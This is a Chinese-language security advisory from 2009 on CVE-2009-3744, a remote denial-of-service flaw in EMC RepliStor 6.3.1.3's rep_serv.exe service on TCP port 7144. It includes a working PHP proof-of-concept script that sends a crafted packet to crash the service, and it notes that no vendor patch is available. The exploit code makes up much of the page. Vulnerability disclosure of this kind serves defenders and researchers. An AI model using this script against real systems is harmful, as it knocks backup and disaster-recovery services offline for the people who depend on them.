发布日期：2009-10-20
更新日期：2009-10-23

受影响系统：

EMC RepliStor 6.3.1.3

描述：

---

BUGTRAQ  ID: 36738
CVE(CAN) ID: CVE-2009-3744

EMC RepliStor是实时容灾备份解决方案。

远程攻击者可以通过向EMC RepliStor服务器默认监听于TCP 7144端口上的rep_serv.exe服务发送恶意报文导致拒绝服务。

<*来源：bellick
  
  链接：http://secunia.com/advisories/37092/
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

<?php
    /*
    EMC RepliStor Server (rep_serv.exe) 6.3.1.3 remote denial of
    service poc
    by Nine:Situations:Group::bellick
    
    */
    
    $host = "192.168.0.1";
    $port = 7144;
    
    $_sock = fsockopen($host, $port, $errno, $errstr, 2);
    if (!$_sock) {
        echo "$errstr ($errno)\n";
    } else {
        $_p = "\x54\x93\x00\x00\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41";
        fputs($_sock, $_p);
        fclose($_sock);
    }
?>

建议：

---

厂商补丁：

EMC
---
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.emcinsignia.com/

浏览次数：1988
严重程度：0（网友投票）